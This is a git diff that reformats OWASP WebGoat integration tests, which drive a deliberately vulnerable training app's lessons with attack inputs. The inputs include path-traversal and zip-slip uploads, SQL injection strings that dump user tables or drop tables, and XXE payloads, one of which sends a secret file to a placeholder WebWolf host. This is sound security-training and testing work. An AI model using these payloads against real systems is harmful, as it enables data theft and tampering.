.multiPart("uploadedFileRemoveUserInput", "../test.jpg", Files.readAllBytes(fileToUpload.toPath())) .multiPart(
"uploadedFileRemoveUserInput",
"../test.jpg",
Files.readAllBytes(fileToUpload.toPath()))
.post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input")) .post(url("/WebGoat/PathTraversal/profile-upload-remove-user-input"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void assignment4() throws IOException { private void assignment4() throws IOException {
var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret"; var uri = "/WebGoat/PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
RestAssured.given().urlEncodingEnabled(false) RestAssured.given()
.urlEncodingEnabled(false)
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
@ -102,13 +109,16 @@ class PathTraversalIT extends IntegrationTest {
.statusCode(200) .statusCode(200)
.body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer")); .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
checkAssignment(url("/WebGoat/PathTraversal/random"), Map.of("secret", checkAssignment(
Sha512DigestUtils.shaHex(this.getUser())), true); url("/WebGoat/PathTraversal/random"),
Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
true);
} }
private void assignment5() throws IOException { private void assignment5() throws IOException {
var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser(); var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
webGoatHome = webGoatHome.replaceAll("^[a-zA-Z]:", ""); //Remove C: from the home directory on Windows webGoatHome =
webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
var webGoatDirectory = new File(webGoatHome); var webGoatDirectory = new File(webGoatHome);
var zipFile = new File(tempDir.toFile(), "upload.zip"); var zipFile = new File(tempDir.toFile(), "upload.zip");
@ -126,12 +136,15 @@ class PathTraversalIT extends IntegrationTest {
.post(url("/WebGoat/PathTraversal/zip-slip")) .post(url("/WebGoat/PathTraversal/zip-slip"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
@AfterEach @AfterEach
void shutdown() { void shutdown() {
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete // this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("/PathTraversal"); checkResults("/PathTraversal");
} }
} }

View File

@ -2,10 +2,6 @@ package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.response.Response; import io.restassured.response.Response;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import java.util.List; import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
@ -14,6 +10,8 @@ import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors; import java.util.concurrent.Executors;
import java.util.stream.Collectors; import java.util.stream.Collectors;
import java.util.stream.IntStream; import java.util.stream.IntStream;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
public class ProgressRaceConditionIntegrationTest extends IntegrationTest { public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
@ -23,7 +21,8 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
int NUMBER_OF_PARALLEL_THREADS = 5; int NUMBER_OF_PARALLEL_THREADS = 5;
startLesson("Challenge1"); startLesson("Challenge1");
Callable<Response> call = () -> { Callable<Response> call =
() -> {
// System.out.println("thread "+Thread.currentThread().getName()); // System.out.println("thread "+Thread.currentThread().getName());
return RestAssured.given() return RestAssured.given()
.when() .when()
@ -31,14 +30,17 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.formParams(Map.of("flag", "test")) .formParams(Map.of("flag", "test"))
.post(url("/challenge/flag/")); .post(url("/challenge/flag/"));
}; };
ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS); ExecutorService executorService = Executors.newWorkStealingPool(NUMBER_OF_PARALLEL_THREADS);
List<? extends Callable<Response>> flagCalls = IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList()); List<? extends Callable<Response>> flagCalls =
IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
var responses = executorService.invokeAll(flagCalls); var responses = executorService.invokeAll(flagCalls);
// A certain amount of parallel calls should fail as optimistic locking in DB is applied // A certain amount of parallel calls should fail as optimistic locking in DB is applied
long countStatusCode500 = responses.stream().filter(r -> { long countStatusCode500 =
responses.stream()
.filter(
r -> {
try { try {
// System.err.println(r.get().getStatusCode()); // System.err.println(r.get().getStatusCode());
return r.get().getStatusCode() != 200; return r.get().getStatusCode() != 200;
@ -46,8 +48,10 @@ public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
// System.err.println(e); // System.err.println(e);
throw new IllegalStateException(e); throw new IllegalStateException(e);
} }
}).count(); })
.count();
System.err.println("counted status 500: " + countStatusCode500); System.err.println("counted status 500: " + countStatusCode500);
Assertions.assertThat(countStatusCode500).isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS/NUMBER_OF_PARALLEL_THREADS))); Assertions.assertThat(countStatusCode500)
.isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
} }
} }

View File

@ -3,7 +3,6 @@ package org.owasp.webgoat;
import java.io.IOException; import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
public class SSRFIntegrationTest extends IntegrationTest { public class SSRFIntegrationTest extends IntegrationTest {
@ -23,8 +22,5 @@ public class SSRFIntegrationTest extends IntegrationTest {
checkAssignment(url("/WebGoat/SSRF/task2"), params, true); checkAssignment(url("/WebGoat/SSRF/task2"), params, true);
checkResults("/SSRF/"); checkResults("/SSRF/");
} }
} }

View File

@ -24,24 +24,22 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
/** /**
*
* @author Angel Olle Blazquez * @author Angel Olle Blazquez
*
*/ */
class SessionManagementIT extends IntegrationTest { class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login"; private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
@Test @Test
void hijackSessionTest() { void hijackSessionTest() {
startLesson("HijackSession"); startLesson("HijackSession");
checkAssignment(url(HIJACK_LOGIN_CONTEXT_PATH), Map.of("username", "webgoat", "password", "webgoat"), false); checkAssignment(
url(HIJACK_LOGIN_CONTEXT_PATH),
Map.of("username", "webgoat", "password", "webgoat"),
false);
} }
} }

View File

@ -2,7 +2,6 @@ package org.owasp.webgoat;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest { public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
@ -29,7 +28,10 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
params.clear(); params.clear();
params.put("userid_6a", "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from user_system_data --"); params.put(
"userid_6a",
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+ " user_system_data --");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6a"), params, true);
params.clear(); params.clear();
@ -37,11 +39,21 @@ public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/attack6b"), params, true);
params.clear(); params.clear();
params.put("question_0_solution", "Solution 4: A statement has got values instead of a prepared statement"); params.put(
"question_0_solution",
"Solution 4: A statement has got values instead of a prepared statement");
params.put("question_1_solution", "Solution 3: ?"); params.put("question_1_solution", "Solution 3: ?");
params.put("question_2_solution", "Solution 2: Prepared statements are compiled once by the database management system waiting for input and are pre-compiled this way."); params.put(
params.put("question_3_solution", "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query resulting in a seperation of code and data."); "question_2_solution",
params.put("question_4_solution", "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'."); "Solution 2: Prepared statements are compiled once by the database management system"
+ " waiting for input and are pre-compiled this way.");
params.put(
"question_3_solution",
"Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
+ " resulting in a seperation of code and data.");
params.put(
"question_4_solution",
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true); checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
checkResults("/SqlInjectionAdvanced/"); checkResults("/SqlInjectionAdvanced/");

View File

@ -2,13 +2,13 @@ package org.owasp.webgoat;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
public class SqlInjectionLessonIntegrationTest extends IntegrationTest { public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
public static final String sql_2 = "select department from employees where last_name='Franco'"; public static final String sql_2 = "select department from employees where last_name='Franco'";
public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'"; public static final String sql_3 =
"update employees set department='Sales' where last_name='Barnett'";
public static final String sql_4_drop = "alter table employees drop column phone"; public static final String sql_4_drop = "alter table employees drop column phone";
public static final String sql_4_add = "alter table employees add column phone varchar(20)"; public static final String sql_4_add = "alter table employees add column phone varchar(20)";
public static final String sql_5 = "grant select on grant_rights to unauthorized_user"; public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
@ -22,7 +22,8 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
public static final String sql_11_b = "3SL99A' or '1'='1"; public static final String sql_11_b = "3SL99A' or '1'='1";
public static final String sql_12_a = "Smith"; public static final String sql_12_a = "Smith";
public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith"; public static final String sql_12_b =
"3SL99A' ; update employees set salary= '100000' where last_name='Smith";
public static final String sql_13 = "%update% '; drop table access_log ; --'"; public static final String sql_13 = "%update% '; drop table access_log ; --'";
@ -73,6 +74,5 @@ public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true); checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
checkResults("/SqlInjection/"); checkResults("/SqlInjection/");
} }
} }

View File

@ -1,15 +1,13 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import static org.hamcrest.CoreMatchers.containsString;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import static org.hamcrest.CoreMatchers.containsString;
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest { public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
@Test @Test
@ -27,39 +25,56 @@ public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
params.put("field7", "prep.setString(2,\\\"\\\")"); params.put("field7", "prep.setString(2,\\\"\\\")");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true); checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
params.put("editor", "try {\r\n" + params.put(
" Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" + "editor",
" PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" + "try {\r\n"
" prep.setString(1,\"me\");\r\n" + + " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
" prep.execute();\r\n" + + " PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
" System.out.println(conn); //should output 'null'\r\n" + + " = ?\");\r\n"
"} catch (Exception e) {\r\n" + + " prep.setString(1,\"me\");\r\n"
" System.out.println(\"Oops. Something went wrong!\");\r\n" + + " prep.execute();\r\n"
"}"); + " System.out.println(conn); //should output 'null'\r\n"
+ "} catch (Exception e) {\r\n"
+ " System.out.println(\"Oops. Something went wrong!\");\r\n"
+ "}");
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true); checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
params.clear(); params.clear();
params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--"); params.put(
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true); checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
params.clear(); params.clear();
params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--"); params.put(
"userid_sql_only_input_validation_on_keywords",
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true); checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
RestAssured.given() RestAssured.given()
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) .when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)")) .get(
url(
"/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+ " else id end)"))
.then() .then()
.statusCode(200); .statusCode(200);
RestAssured.given() RestAssured.given()
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie()) .when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown")) .get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
.then() .then()
.statusCode(500) .statusCode(500)
.body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by")); .body(
"trace",
containsString(
"select id, hostname, ip, mac, status, description from SERVERS where status <>"
+ " 'out of order' order by"));
params.clear(); params.clear();
params.put("ip", "104.130.219.202"); params.put("ip", "104.130.219.202");

View File

@ -2,14 +2,12 @@ package org.owasp.webgoat;
import static org.junit.jupiter.api.Assertions.assertTrue; import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.RestAssured;
import java.io.IOException; import java.io.IOException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import io.restassured.RestAssured;
public class WebWolfIntegrationTest extends IntegrationTest { public class WebWolfIntegrationTest extends IntegrationTest {
@Test @Test
@ -22,16 +20,23 @@ public class WebWolfIntegrationTest extends IntegrationTest {
params.put("email", this.getUser() + "@webgoat.org"); params.put("email", this.getUser() + "@webgoat.org");
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false); checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
String responseBody = RestAssured.given() String responseBody =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail")) .get(webWolfUrl("/WebWolf/mail"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
String uniqueCode = responseBody.replace("%20", " "); String uniqueCode = responseBody.replace("%20", " ");
uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length())); uniqueCode =
uniqueCode.substring(
21 + uniqueCode.lastIndexOf("your unique code is: "),
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
params.clear(); params.clear();
params.put("uniqueCode", uniqueCode); params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true); checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
@ -53,20 +58,22 @@ public class WebWolfIntegrationTest extends IntegrationTest {
.get(webWolfUrl("/landing")) .get(webWolfUrl("/landing"))
.then() .then()
.statusCode(200); .statusCode(200);
responseBody = RestAssured.given() responseBody =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests")) .get(webWolfUrl("/WebWolf/requests"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
assertTrue(responseBody.contains(uniqueCode)); assertTrue(responseBody.contains(uniqueCode));
params.clear(); params.clear();
params.put("uniqueCode", uniqueCode); params.put("uniqueCode", uniqueCode);
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true); checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
checkResults("/WebWolf"); checkResults("/WebWolf");
} }
} }

View File

@ -1,15 +1,12 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
public class XSSIntegrationTest extends IntegrationTest { public class XSSIntegrationTest extends IntegrationTest {
@Test @Test
public void crossSiteScriptingAssignments() { public void crossSiteScriptingAssignments() {
startLesson("CrossSiteScripting"); startLesson("CrossSiteScripting");
@ -47,7 +44,8 @@ public class XSSIntegrationTest extends IntegrationTest {
.post(url("/CrossSiteScripting/phone-home-xss")) .post(url("/CrossSiteScripting/phone-home-xss"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("output"); .extract()
.path("output");
String secretNumber = result.substring("phoneHome Response is ".length()); String secretNumber = result.substring("phoneHome Response is ".length());
params.clear(); params.clear();
@ -55,14 +53,28 @@ public class XSSIntegrationTest extends IntegrationTest {
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true); checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
params.clear(); params.clear();
params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious."); params.put(
params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content."); "question_0_solution",
params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server."); "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request."); + " the browser does not know that the script is malicious.");
params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes."); params.put(
"question_1_solution",
"Solution 3: The data is included in dynamic content that is sent to a web user without"
+ " being validated for malicious content.");
params.put(
"question_2_solution",
"Solution 1: The script is permanently stored on the server and the victim gets the"
+ " malicious script when requesting information from the server.");
params.put(
"question_3_solution",
"Solution 2: They reflect the injected script off the web server. That occurs when input"
+ " sent to the web server is part of the request.");
params.put(
"question_4_solution",
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+ " the browser executes.");
checkAssignment(url("/CrossSiteScripting/quiz"), params, true); checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
checkResults("/CrossSiteScripting/"); checkResults("/CrossSiteScripting/");
} }
} }

View File

@ -2,23 +2,30 @@ package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import org.junit.jupiter.api.Test;
import java.io.IOException; import java.io.IOException;
import java.nio.file.Files; import java.nio.file.Files;
import java.nio.file.Path; import java.nio.file.Path;
import java.nio.file.Paths; import java.nio.file.Paths;
import org.junit.jupiter.api.Test;
public class XXEIntegrationTest extends IntegrationTest { public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 = """ private static final String xxe3 =
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>"""; """
private static final String xxe4 = """ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>"""; """;
private static final String dtd7 = """ private static final String xxe4 =
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;"""; """
private static final String xxe7 = """ <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>"""; """;
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
""";
private static final String xxe7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
""";
private String webGoatHomeDirectory; private String webGoatHomeDirectory;
private String webWolfFileServerLocation; private String webWolfFileServerLocation;
@ -40,7 +47,11 @@ public class XXEIntegrationTest extends IntegrationTest {
.statusCode(200); .statusCode(200);
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false); checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false); checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false); checkAssignment(
url("/WebGoat/xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
false);
} }
/** /**
@ -56,7 +67,8 @@ public class XXEIntegrationTest extends IntegrationTest {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd"))); Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
} }
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt"); String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile); String dtd7String =
dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
// upload DTD // upload DTD
RestAssured.given() RestAssured.given()
@ -66,22 +78,33 @@ public class XXEIntegrationTest extends IntegrationTest {
.multiPart("file", "blind.dtd", dtd7String.getBytes()) .multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrl("/fileupload")) .post(webWolfUrl("/fileupload"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
// upload attack // upload attack
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser()); String xxe7String =
xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false); checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
// read results from WebWolf // read results from WebWolf
String result = RestAssured.given() String result =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests")) .get(webWolfUrl("/WebWolf/requests"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " "); result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) { if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33); result =
result.substring(
result.lastIndexOf("WebGoat 8.0 rocks... ("),
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
} }
return result; return result;
} }
@ -93,7 +116,11 @@ public class XXEIntegrationTest extends IntegrationTest {
webWolfFileServerLocation = getWebWolfFileServerLocation(); webWolfFileServerLocation = getWebWolfFileServerLocation();
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true); checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true); checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", true); checkAssignment(
url("/WebGoat/xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
true);
checkResults("xxe/"); checkResults("xxe/");
} }
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.container.users; package org.owasp.webgoat.container.users;
import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.Optional; import java.util.Optional;
import java.util.stream.Collectors;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
import lombok.Getter; import lombok.Getter;
import org.owasp.webgoat.container.i18n.PluginMessages; import org.owasp.webgoat.container.i18n.PluginMessages;
@ -35,19 +35,15 @@ public class Scoreboard {
@GetMapping("/scoreboard-data") @GetMapping("/scoreboard-data")
public List<Ranking> getRankings() { public List<Ranking> getRankings() {
List<WebGoatUser> allUsers = userRepository.findAll(); return userRepository.findAll().stream()
List<Ranking> rankings = new ArrayList<>(); .filter(user -> !user.getUsername().startsWith("csrf-"))
for (WebGoatUser user : allUsers) { .map(
if (user.getUsername().startsWith("csrf-")) { user ->
// the csrf- assignment specific users do not need to be in the overview new Ranking(
continue; user.getUsername(),
} challengesSolved(userTrackerRepository.findByUser(user.getUsername()))))
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername()); .sorted((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size())
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker))); .collect(Collectors.toList());
}
/* sort on number of captured flags to present an ordered ranking */
rankings.sort((o1, o2) -> o2.getFlagsCaptured().size() - o1.getFlagsCaptured().size());
return rankings;
} }
private List<String> challengesSolved(UserTracker userTracker) { private List<String> challengesSolved(UserTracker userTracker) {

View File

@ -22,7 +22,12 @@
package org.owasp.webgoat.lessons.jwt; package org.owasp.webgoat.lessons.jwt;
import io.jsonwebtoken.*; import io.jsonwebtoken.Claims;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SigningKeyResolverAdapter;
import io.jsonwebtoken.impl.TextCodec; import io.jsonwebtoken.impl.TextCodec;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
@ -31,34 +36,12 @@ import org.owasp.webgoat.container.LessonDataSource;
import org.owasp.webgoat.container.assignments.AssignmentEndpoint; import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
import org.owasp.webgoat.container.assignments.AssignmentHints; import org.owasp.webgoat.container.assignments.AssignmentHints;
import org.owasp.webgoat.container.assignments.AttackResult; import org.owasp.webgoat.container.assignments.AttackResult;
import org.springframework.web.bind.annotation.*; import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
/**
*
*
* <pre>
* {
* "typ": "JWT",
* "kid": "webgoat_key",
* "alg": "HS256"
* }
* {
* "iss": "WebGoat Token Builder",
* "iat": 1524210904,
* "exp": 1618905304,
* "aud": "webgoat.org",
* "sub": "jerry@webgoat.com",
* "username": "Jerry",
* "Email": "jerry@webgoat.com",
* "Role": [
* "Cat"
* ]
* }
* </pre>
*
* @author nbaars
* @since 4/23/17.
*/
@RestController @RestController
@AssignmentHints({ @AssignmentHints({
